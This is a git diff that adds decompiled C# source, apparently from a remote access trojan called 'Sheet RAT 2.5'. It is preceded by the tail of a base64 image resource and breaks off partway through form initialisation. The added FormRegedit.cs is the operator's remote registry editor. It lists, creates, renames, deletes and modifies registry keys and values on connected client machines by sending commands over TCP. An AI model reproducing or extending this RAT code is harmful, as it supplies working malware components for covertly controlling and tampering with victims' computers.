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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormRegedit.cs b/Server/Server/Forms/FormRegedit.cs new file mode 100644 index 0000000..f05e8e3 --- /dev/null +++ b/Server/Server/Forms/FormRegedit.cs @@ -0,0 +1,984 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormRegedit +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Forms; +using Microsoft.Win32; +using Server.Connection; +using Server.Helper; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Linq; +using System.Threading; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormRegedit : MetroForm +{ + private IContainer components; + private TableLayoutPanel tableLayoutPanel; + private SplitContainer splitContainer; + public RegistryTreeView tvRegistryDirectory; + private AeroListView lstRegistryValues; + private StatusStrip statusStrip; + private ToolStripStatusLabel selectedStripStatusLabel; + private ImageList imageRegistryDirectoryList; + private ColumnHeader hName; + private ColumnHeader hType; + private ColumnHeader hValue; + private ImageList imageRegistryKeyTypeList; + private ContextMenuStrip tv_ContextMenuStrip; + private ToolStripMenuItem newToolStripMenuItem; + private ToolStripMenuItem keyToolStripMenuItem; + private ToolStripMenuItem deleteToolStripMenuItem; + private ToolStripMenuItem renameToolStripMenuItem; + private ToolStripSeparator toolStripSeparator2; + private ToolStripMenuItem stringValueToolStripMenuItem; + private ToolStripMenuItem binaryValueToolStripMenuItem; + private ToolStripMenuItem dWORD32bitValueToolStripMenuItem; + private ToolStripMenuItem qWORD64bitValueToolStripMenuItem; + private ToolStripMenuItem multiStringValueToolStripMenuItem; + private ToolStripMenuItem expandableStringValueToolStripMenuItem; + private ContextMenuStrip selectedItem_ContextMenuStrip; + private ToolStripMenuItem modifyToolStripMenuItem; + private ToolStripMenuItem modifyBinaryDataToolStripMenuItem; + private ToolStripMenuItem deleteToolStripMenuItem1; + private ToolStripMenuItem renameToolStripMenuItem1; + private ContextMenuStrip lst_ContextMenuStrip; + private ToolStripMenuItem newToolStripMenuItem1; + private ToolStripMenuItem keyToolStripMenuItem1; + private ToolStripMenuItem stringValueToolStripMenuItem1; + private ToolStripMenuItem binaryValueToolStripMenuItem1; + private ToolStripMenuItem dWORD32bitValueToolStripMenuItem1; + private ToolStripMenuItem qWORD64bitValueToolStripMenuItem1; + private ToolStripMenuItem multiStringValueToolStripMenuItem1; + private ToolStripMenuItem expandableStringValueToolStripMenuItem1; + private ToolStripSeparator toolStripSeparator4; + public System.Windows.Forms.Timer timer1; + + public Form1 F { get; set; } + + internal Clients Client { get; set; } + + internal Clients ParentClient { get; set; } + + public FormRegedit() => this.InitializeComponent(); + + private void FrmRegistryEditor_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.tableLayoutPanel.BackColor = Customs.customs.ThemeToColor(); + this.splitContainer.BackColor = Customs.customs.ThemeToColor(); + this.statusStrip.BackColor = Customs.customs.ThemeToColor(); + this.tvRegistryDirectory.BackColor = Customs.customs.ThemeToColor(); + this.lstRegistryValues.BackColor = Customs.customs.ThemeToColor(); + this.statusStrip.BackColor = Customs.customs.ThemeToColor(); + Program.form.SetThemeContextMenu(Customs.customs.Theme, this.tv_ContextMenuStrip); + Program.form.SetThemeContextMenu(Customs.customs.Theme, this.lst_ContextMenuStrip); + Program.form.SetThemeContextMenu(Customs.customs.Theme, this.selectedItem_ContextMenuStrip); + } + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.tableLayoutPanel.ForeColor = Customs.customs.StyleToColor(); + this.splitContainer.ForeColor = Customs.customs.StyleToColor(); + this.statusStrip.ForeColor = Customs.customs.StyleToColor(); + this.tvRegistryDirectory.ForeColor = Customs.customs.StyleToColor(); + this.lstRegistryValues.ForeColor = Customs.customs.StyleToColor(); + this.statusStrip.ForeColor = Customs.customs.StyleToColor(); + this.Style = Customs.customs.Style; + } + this.Refresh(); + } + + private void AddRootKey(RegistrySeeker.RegSeekerMatch match) + { + TreeNode node = this.CreateNode(match.Key, match.Key, (object) match.Data); + node.Nodes.Add(new TreeNode()); + this.tvRegistryDirectory.Nodes.Add(node); + } + + private TreeNode AddKeyToTree(TreeNode parent, RegistrySeeker.RegSeekerMatch subKey) + { + TreeNode node = this.CreateNode(subKey.Key, subKey.Key, (object) subKey.Data); + parent.Nodes.Add(node); + if (subKey.HasSubKeys) + node.Nodes.Add(new TreeNode()); + return node; + } + + private TreeNode CreateNode(string key, string text, object tag) + { + return new TreeNode() + { + Text = text, + Name = key, + Tag = tag + }; + } + + public void AddKeys(string rootKey, RegistrySeeker.RegSeekerMatch[] matches) + { + if (string.IsNullOrEmpty(rootKey)) + { + this.tvRegistryDirectory.BeginUpdate(); + foreach (RegistrySeeker.RegSeekerMatch match in matches) + this.AddRootKey(match); + this.tvRegistryDirectory.SelectedNode = this.tvRegistryDirectory.Nodes[0]; + this.tvRegistryDirectory.EndUpdate(); + } + else + { + TreeNode treeNode = this.GetTreeNode(rootKey); + if (treeNode == null) + return; + this.tvRegistryDirectory.BeginUpdate(); + foreach (RegistrySeeker.RegSeekerMatch match in matches) + this.AddKeyToTree(treeNode, match); + treeNode.Expand(); + this.tvRegistryDirectory.EndUpdate(); + } + } + + public void CreateNewKey(string rootKey, RegistrySeeker.RegSeekerMatch match) + { + TreeNode tree = this.AddKeyToTree(this.GetTreeNode(rootKey), match); + tree.EnsureVisible(); + this.tvRegistryDirectory.SelectedNode = tree; + tree.Expand(); + this.tvRegistryDirectory.LabelEdit = true; + tree.BeginEdit(); + } + + public void DeleteKey(string rootKey, string subKey) + { + TreeNode treeNode = this.GetTreeNode(rootKey); + if (!treeNode.Nodes.ContainsKey(subKey)) + return; + treeNode.Nodes.RemoveByKey(subKey); + } + + public void RenameKey(string rootKey, string oldName, string newName) + { + TreeNode treeNode = this.GetTreeNode(rootKey); + if (!treeNode.Nodes.ContainsKey(oldName)) + return; + treeNode.Nodes[oldName].Text = newName; + treeNode.Nodes[oldName].Name = newName; + this.tvRegistryDirectory.SelectedNode = treeNode.Nodes[newName]; + } + + private TreeNode GetTreeNode(string path) + { + string[] strArray = path.Split('\\'); + TreeNode node = this.tvRegistryDirectory.Nodes[strArray[0]]; + if (node == null) + return (TreeNode) null; + for (int index = 1; index < strArray.Length; ++index) + { + node = node.Nodes[strArray[index]]; + if (node == null) + return (TreeNode) null; + } + return node; + } + + public void CreateValue(string keyPath, RegistrySeeker.RegValueData value) + { + TreeNode treeNode = this.GetTreeNode(keyPath); + if (treeNode == null) + return; + List list = ((IEnumerable) (RegistrySeeker.RegValueData[]) treeNode.Tag).ToList(); + list.Add(value); + treeNode.Tag = (object) list.ToArray(); + if (this.tvRegistryDirectory.SelectedNode == treeNode) + { + RegistryValueLstItem registryValueLstItem = new RegistryValueLstItem(value); + this.lstRegistryValues.Items.Add((ListViewItem) registryValueLstItem); + this.lstRegistryValues.SelectedIndices.Clear(); + registryValueLstItem.Selected = true; + this.lstRegistryValues.LabelEdit = true; + registryValueLstItem.BeginEdit(); + } + this.tvRegistryDirectory.SelectedNode = treeNode; + } + + public void DeleteValue(string keyPath, string valueName) + { + TreeNode treeNode = this.GetTreeNode(keyPath); + if (treeNode == null) + return; + if (!RegValueHelper.IsDefaultValue(valueName)) + { + treeNode.Tag = (object) ((IEnumerable) (RegistrySeeker.RegValueData[]) treeNode.Tag).Where((Func) (value => value.Name != valueName)).ToArray(); + if (this.tvRegistryDirectory.SelectedNode == treeNode) + this.lstRegistryValues.Items.RemoveByKey(valueName); + } + else + { + RegistrySeeker.RegValueData regValueData = ((IEnumerable) (RegistrySeeker.RegValueData[]) treeNode.Tag).First((Func) (item => item.Name == valueName)); + if (this.tvRegistryDirectory.SelectedNode == treeNode) + { + RegistryValueLstItem registryValueLstItem = this.lstRegistryValues.Items.Cast().SingleOrDefault((Func) (item => item.Name == valueName)); + if (registryValueLstItem != null) + registryValueLstItem.Data = regValueData.Kind.RegistryTypeToString((object) null); + } + } + this.tvRegistryDirectory.SelectedNode = treeNode; + } + + public void RenameValue(string keyPath, string oldName, string newName) + { + TreeNode treeNode = this.GetTreeNode(keyPath); + if (treeNode == null) + return; + ((IEnumerable) (RegistrySeeker.RegValueData[]) treeNode.Tag).First((Func) (item => item.Name == oldName)).Name = newName; + if (this.tvRegistryDirectory.SelectedNode == treeNode) + { + RegistryValueLstItem registryValueLstItem = this.lstRegistryValues.Items.Cast().SingleOrDefault((Func) (item => item.Name == oldName)); + if (registryValueLstItem != null) + registryValueLstItem.RegName = newName; + } + this.tvRegistryDirectory.SelectedNode = treeNode; + } + + public void ChangeValue(string keyPath, RegistrySeeker.RegValueData value) + { + TreeNode treeNode = this.GetTreeNode(keyPath); + if (treeNode == null) + return; + RegistrySeeker.RegValueData dest = ((IEnumerable) (RegistrySeeker.RegValueData[]) treeNode.Tag).First((Func) (item => item.Name == value.Name)); + this.ChangeRegistryValue(value, dest); + if (this.tvRegistryDirectory.SelectedNode == treeNode) + { + RegistryValueLstItem registryValueLstItem = this.lstRegistryValues.Items.Cast().SingleOrDefault((Func) (item => item.Name == value.Name)); + if (registryValueLstItem != null) + registryValueLstItem.Data = RegValueHelper.RegistryValueToString(value); + } + this.tvRegistryDirectory.SelectedNode = treeNode; + } + + private void ChangeRegistryValue( + RegistrySeeker.RegValueData source, + RegistrySeeker.RegValueData dest) + { + if (source.Kind != dest.Kind) + return; + dest.Data = source.Data; + } + + private void UpdateLstRegistryValues(TreeNode node) + { + this.selectedStripStatusLabel.Text = node.FullPath; + this.PopulateLstRegistryValues((RegistrySeeker.RegValueData[]) node.Tag); + } + + private void PopulateLstRegistryValues(RegistrySeeker.RegValueData[] values) + { + this.lstRegistryValues.BeginUpdate(); + this.lstRegistryValues.Items.Clear(); + values = ((IEnumerable) values).OrderBy((Func) (value => value.Name)).ToArray(); + foreach (RegistrySeeker.RegValueData regValueData in values) + this.lstRegistryValues.Items.Add((ListViewItem) new RegistryValueLstItem(regValueData)); + this.lstRegistryValues.EndUpdate(); + } + + private void tvRegistryDirectory_AfterLabelEdit(object sender, NodeLabelEditEventArgs e) + { + if (e.Label != null) + { + e.CancelEdit = true; + if (e.Label.Length > 0) + { + if (e.Node.Parent.Nodes.ContainsKey(e.Label)) + { + int num = (int) MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); + e.Node.BeginEdit(); + } + else + { + this.Client.Send((object) $"RenameRegistryKey<@>{e.Node.Name}<@>{e.Label}<@>{e.Node.Parent.FullPath}"); + this.tvRegistryDirectory.LabelEdit = false; + } + } + else + { + int num = (int) MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); + e.Node.BeginEdit(); + } + } + else + this.tvRegistryDirectory.LabelEdit = false; + } + + private void tvRegistryDirectory_BeforeExpand(object sender, TreeViewCancelEventArgs e) + { + TreeNode node = e.Node; + if (!string.IsNullOrEmpty(node.FirstNode.Name)) + return; + this.tvRegistryDirectory.SuspendLayout(); + node.Nodes.Clear(); + this.Client.Send((object) ("LoadRegistryKey<@>" + node.FullPath)); + Thread.Sleep(500); + this.tvRegistryDirectory.ResumeLayout(); + e.Cancel = true; + } + + private void tvRegistryDirectory_NodeMouseClick(object sender, TreeNodeMouseClickEventArgs e) + { + if (e.Button != MouseButtons.Right) + return; + this.tvRegistryDirectory.SelectedNode = e.Node; + Point position = new Point(e.X, e.Y); + this.CreateTreeViewMenuStrip(); + this.tv_ContextMenuStrip.Show((Control) this.tvRegistryDirectory, position); + } + + private void tvRegistryDirectory_BeforeSelect(object sender, TreeViewCancelEventArgs e) + { + this.UpdateLstRegistryValues(e.Node); + } + + private void tvRegistryDirectory_KeyUp(object sender, KeyEventArgs e) + { + if (e.KeyCode != Keys.Delete || !this.GetDeleteState()) + return; + this.deleteRegistryKey_Click((object) this, (EventArgs) e); + } + + private void CreateTreeViewMenuStrip() + { + this.renameToolStripMenuItem.Enabled = this.tvRegistryDirectory.SelectedNode.Parent != null; + this.deleteToolStripMenuItem.Enabled = this.tvRegistryDirectory.SelectedNode.Parent != null; + } + + private void CreateListViewMenuStrip() + { + this.modifyToolStripMenuItem.Enabled = this.modifyBinaryDataToolStripMenuItem.Enabled = this.lstRegistryValues.SelectedItems.Count == 1; + this.renameToolStripMenuItem1.Enabled = this.lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(this.lstRegistryValues.SelectedItems[0].Name); + this.deleteToolStripMenuItem1.Enabled = this.tvRegistryDirectory.SelectedNode != null && this.lstRegistryValues.SelectedItems.Count > 0; + } + + private void menuStripExit_Click(object sender, EventArgs e) => this.Close(); + + private void menuStripDelete_Click(object sender, EventArgs e) + { + if (this.tvRegistryDirectory.Focused) + { + this.deleteRegistryKey_Click((object) this, e); + } + else + { + if (!this.lstRegistryValues.Focused) + return; + this.deleteRegistryValue_Click((object) this, e); + } + } + + private void menuStripRename_Click(object sender, EventArgs e) + { + if (this.tvRegistryDirectory.Focused) + { + this.renameRegistryKey_Click((object) this, e); + } + else + { + if (!this.lstRegistryValues.Focused) + return; + this.renameRegistryValue_Click((object) this, e); + } + } + + private void lstRegistryKeys_MouseClick(object sender, MouseEventArgs e) + { + if (e.Button != MouseButtons.Right) + return; + Point position = new Point(e.X, e.Y); + if (this.lstRegistryValues.GetItemAt(position.X, position.Y) == null) + { + this.lst_ContextMenuStrip.Show((Control) this.lstRegistryValues, position); + } + else + { + this.CreateListViewMenuStrip(); + this.selectedItem_ContextMenuStrip.Show((Control) this.lstRegistryValues, position); + } + } + + private void lstRegistryKeys_AfterLabelEdit(object sender, LabelEditEventArgs e) + { + if (e.Label != null && this.tvRegistryDirectory.SelectedNode != null) + { + e.CancelEdit = true; + int index = e.Item; + if (e.Label.Length > 0) + { + if (this.lstRegistryValues.Items.ContainsKey(e.Label)) + { + int num = (int) MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); + this.lstRegistryValues.Items[index].BeginEdit(); + } + else + { + this.Client.Send((object) $"<@>RenameRegistryValue{this.lstRegistryValues.Items[index].Name}<@>{e.Label}<@>{this.tvRegistryDirectory.SelectedNode.FullPath}"); + this.lstRegistryValues.LabelEdit = false; + } + } + else + { + int num = (int) MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); + this.lstRegistryValues.Items[index].BeginEdit(); + } + } + else + this.lstRegistryValues.LabelEdit = false; + } + + private void lstRegistryKeys_KeyUp(object sender, KeyEventArgs e) + { + if (e.KeyCode != Keys.Delete || !this.GetDeleteState()) + return; + this.deleteRegistryValue_Click((object) this, (EventArgs) e); + } + + private void createNewRegistryKey_Click(object sender, EventArgs e) + { + if (!this.tvRegistryDirectory.SelectedNode.IsExpanded && this.tvRegistryDirectory.SelectedNode.Nodes.Count > 0) + { + this.tvRegistryDirectory.AfterExpand += new TreeViewEventHandler(this.createRegistryKey_AfterExpand); + this.tvRegistryDirectory.SelectedNode.Expand(); + } + else + this.Client.Send((object) ("CreateRegistryKey<@>" + this.tvRegistryDirectory.SelectedNode.FullPath)); + } + + private void deleteRegistryKey_Click(object sender, EventArgs e) + { + if (MessageBox.Show("Are you sure you want to permanently delete this key and all of its subkeys?", "Confirm Key Delete", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation) != DialogResult.Yes) + return; + this.Client.Send((object) $"DeleteRegistryKey<@>{this.tvRegistryDirectory.SelectedNode.Name}<@>{this.tvRegistryDirectory.SelectedNode.Parent.FullPath}"); + } + + private void renameRegistryKey_Click(object sender, EventArgs e) + { + this.tvRegistryDirectory.LabelEdit = true; + this.tvRegistryDirectory.SelectedNode.BeginEdit(); + } + + private void createStringRegistryValue_Click(object sender, EventArgs e) + { + if (this.tvRegistryDirectory.SelectedNode == null) + return; + this.Client.Send((object) $"CreateRegistryValue<@>{this.tvRegistryDirectory.SelectedNode.FullPath}<@>1"); + } + + private void createBinaryRegistryValue_Click(object sender, EventArgs e) + { + if (this.tvRegistryDirectory.SelectedNode == null) + return; + this.Client.Send((object) $"CreateRegistryValue<@>{this.tvRegistryDirectory.SelectedNode.FullPath}<@>3"); + } + + private void createDwordRegistryValue_Click(object sender, EventArgs e) + { + if (this.tvRegistryDirectory.SelectedNode == null) + return; + this.Client.Send((object) $"CreateRegistryValue<@>{this.tvRegistryDirectory.SelectedNode.FullPath}<@>4"); + } + + private void createQwordRegistryValue_Click(object sender, EventArgs e) + { + if (this.tvRegistryDirectory.SelectedNode == null) + return; + this.Client.Send((object) $"CreateRegistryValue<@>{this.tvRegistryDirectory.SelectedNode.FullPath}<@>11"); + } + + private void createMultiStringRegistryValue_Click(object sender, EventArgs e) + { + if (this.tvRegistryDirectory.SelectedNode == null) + return; + this.Client.Send((object) $"CreateRegistryValue<@>{this.tvRegistryDirectory.SelectedNode.FullPath}<@>7"); + } + + private void createExpandStringRegistryValue_Click(object sender, EventArgs e) + { + if (this.tvRegistryDirectory.SelectedNode == null) + return; + this.Client.Send((object) $"CreateRegistryValue<@>{this.tvRegistryDirectory.SelectedNode.FullPath}<@>2"); + } + + private void deleteRegistryValue_Click(object sender, EventArgs e) + { + if (MessageBox.Show("Deleting certain registry values could cause system instability. Are you sure you want to permanently delete " + (this.lstRegistryValues.SelectedItems.Count == 1 ? "this value?" : "these values?"), "Confirm Value Delete", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation) != DialogResult.Yes) + return; + foreach (object selectedItem in this.lstRegistryValues.SelectedItems) + { + if (selectedItem.GetType() == typeof (RegistryValueLstItem)) + this.Client.Send((object) $"DeleteRegistryValue<@>{this.tvRegistryDirectory.SelectedNode.FullPath}<@>{((RegistryValueLstItem) selectedItem).RegName}"); + } + } + + private void renameRegistryValue_Click(object sender, EventArgs e) + { + this.lstRegistryValues.LabelEdit = true; + this.lstRegistryValues.SelectedItems[0].BeginEdit(); + } + + private void modifyRegistryValue_Click(object sender, EventArgs e) => this.CreateEditForm(false); + + private void modifyBinaryDataRegistryValue_Click(object sender, EventArgs e) + { + this.CreateEditForm(true); + } + + private void createRegistryKey_AfterExpand(object sender, TreeViewEventArgs e) + { + if (e.Node != this.tvRegistryDirectory.SelectedNode) + return; + this.createNewRegistryKey_Click((object) this, (EventArgs) e); + this.tvRegistryDirectory.AfterExpand -= new TreeViewEventHandler(this.createRegistryKey_AfterExpand); + } + + private bool GetDeleteState() + { + if (this.lstRegistryValues.Focused) + return this.lstRegistryValues.SelectedItems.Count > 0; + return this.tvRegistryDirectory.Focused && this.tvRegistryDirectory.SelectedNode != null && this.tvRegistryDirectory.SelectedNode.Parent != null; + } + + private bool GetRenameState() + { + return !this.lstRegistryValues.Focused ? this.tvRegistryDirectory.Focused && this.tvRegistryDirectory.SelectedNode != null && this.tvRegistryDirectory.SelectedNode.Parent != null : this.lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(this.lstRegistryValues.SelectedItems[0].Name); + } + + private Form GetEditForm(RegistrySeeker.RegValueData value, RegistryValueKind valueKind) + { + switch (valueKind) + { + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return (Form) new FormRegValueEditString(value); + case RegistryValueKind.Binary: + return (Form) new FormRegValueEditBinary(value); + case RegistryValueKind.DWord: + case RegistryValueKind.QWord: + return (Form) new FormRegValueEditWord(value); + case RegistryValueKind.MultiString: + return (Form) new FormRegValueEditMultiString(value); + default: + return (Form) null; + } + } + + private void CreateEditForm(bool isBinary) + { + string fullPath = this.tvRegistryDirectory.SelectedNode.FullPath; + string name = this.lstRegistryValues.SelectedItems[0].Name; + RegistrySeeker.RegValueData regValueData = ((IEnumerable) (RegistrySeeker.RegValueData[]) this.tvRegistryDirectory.SelectedNode.Tag).ToList().Find((Predicate) (item => item.Name == name)); + RegistryValueKind valueKind = isBinary ? RegistryValueKind.Binary : regValueData.Kind; + using (Form editForm = this.GetEditForm(regValueData, valueKind)) + { + if (editForm.ShowDialog() != DialogResult.OK) + return; + this.Client.Send((object) "ChangeRegistryValue"); + } + } + + public void timer1_Tick(object sender, EventArgs e) + { + try + { + if (this.ParentClient.TcpClient.Connected && this.Client.TcpClient.Connected) + return; + this.Close(); + } + catch + { + this.Close(); + } + } + + private void FormRegistryEditor_FormClosed(object sender, FormClosedEventArgs e) + { + ThreadPool.QueueUserWorkItem((WaitCallback) (o => this.Client?.Disconnected())); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormRegedit)); + this.tableLayoutPanel = new TableLayoutPanel(); + this.splitContainer = new SplitContainer(); + this.imageRegistryDirectoryList = new ImageList(this.components); + this.imageRegistryKeyTypeList = new ImageList(this.components); + this.statusStrip = new StatusStrip(); + this.selectedStripStatusLabel = new ToolStripStatusLabel(); + this.tv_ContextMenuStrip = new ContextMenuStrip(this.components); + this.newToolStripMenuItem = new ToolStripMenuItem(); + this.keyToolStripMenuItem = new ToolStripMenuItem(); + this.toolStripSeparator2 = new ToolStripSeparator(); + this.stringValueToolStripMenuItem = new ToolStripMenuItem(); + this.binaryValueToolStripMenuItem = new ToolStripMenuItem(); + this.dWORD32bitValueToolStripMenuItem = new ToolStripMenuItem(); + this.qWORD64bitValueToolStripMenuItem = new ToolStripMenuItem(); + this.multiStringValueToolStripMenuItem = new ToolStripMenuItem(); + this.expandableStringValueToolStripMenuItem = new ToolStripMenuItem(); + this.deleteToolStripMenuItem = new ToolStripMenuItem(); + this.renameToolStripMenuItem = new ToolStripMenuItem(); + this.selectedItem_ContextMenuStrip = new ContextMenuStrip(this.components); + this.modifyToolStripMenuItem = new ToolStripMenuItem(); + this.modifyBinaryDataToolStripMenuItem = new ToolStripMenuItem(); + this.deleteToolStripMenuItem1 = new ToolStripMenuItem(); + this.renameToolStripMenuItem1 = new ToolStripMenuItem(); + this.lst_ContextMenuStrip = new ContextMenuStrip(this.components); + this.newToolStripMenuItem1 = new ToolStripMenuItem(); + this.keyToolStripMenuItem1 = new ToolStripMenuItem(); + this.toolStripSeparator4 = new ToolStripSeparator(); + this.stringValueToolStripMenuItem1 = new ToolStripMenuItem(); + this.binaryValueToolStripMenuItem1 = new ToolStripMenuItem(); + this.dWORD32bitValueToolStripMenuItem1 = new ToolStripMenuItem(); + this.qWORD64bitValueToolStripMenuItem1 = new ToolStripMenuItem(); + this.multiStringValueToolStripMenuItem1 = new ToolStripMenuItem(); + this.expandableStringValueToolStripMenuItem1 = new ToolStripMenuItem(); + this.timer1 = new System.Windows.Forms.Timer(this.components); + this.tvRegistryDirectory = new RegistryTreeView(); + this.lstRegistryValues = new AeroListView(); + this.hName = new ColumnHeader(); + this.hType = new ColumnHeader(); + this.hValue = new ColumnHeader(); + this.tableLayoutPanel.SuspendLayout(); + this.splitContainer.BeginInit(); + this.splitContainer.Panel1.SuspendLayout(); + this.splitContainer.Panel2.SuspendLayout(); + this.splitContainer.SuspendLayout(); + this.statusStrip.SuspendLayout(); + this.tv_ContextMenuStrip.SuspendLayout(); + this.selectedItem_ContextMenuStrip.SuspendLayout(); + this.lst_ContextMenuStrip.SuspendLayout(); + this.SuspendLayout(); + this.tableLayoutPanel.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.tableLayoutPanel.ColumnCount = 1; + this.tableLayoutPanel.ColumnStyles.Add(new ColumnStyle(SizeType.Percent, 100f)); + this.tableLayoutPanel.Controls.Add((Control) this.splitContainer, 0, 0); + this.tableLayoutPanel.Controls.Add((Control) this.statusStrip, 0, 1); + this.tableLayoutPanel.Dock = DockStyle.Fill; + this.tableLayoutPanel.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.tableLayoutPanel.GrowStyle = TableLayoutPanelGrowStyle.FixedSize; + this.tableLayoutPanel.Location = new Point(16 /*0x10*/, 60); + this.tableLayoutPanel.Name = "tableLayoutPanel"; + this.tableLayoutPanel.RowCount = 2; + this.tableLayoutPanel.RowStyles.Add(new RowStyle(SizeType.Percent, 100f)); + this.tableLayoutPanel.RowStyles.Add(new RowStyle(SizeType.Absolute, 22f)); + this.tableLayoutPanel.RowStyles.Add(new RowStyle(SizeType.Absolute, 20f)); + this.tableLayoutPanel.Size = new Size(940, 493); + this.tableLayoutPanel.TabIndex = 0; + this.splitContainer.Dock = DockStyle.Fill; + this.splitContainer.Location = new Point(3, 3); + this.splitContainer.Name = "splitContainer"; + this.splitContainer.Panel1.Controls.Add((Control) this.tvRegistryDirectory); + this.splitContainer.Panel2.Controls.Add((Control) this.lstRegistryValues); + this.splitContainer.Size = new Size(934, 465); + this.splitContainer.SplitterDistance = 309; + this.splitContainer.TabIndex = 0; + this.imageRegistryDirectoryList.ImageStream = (ImageListStreamer) 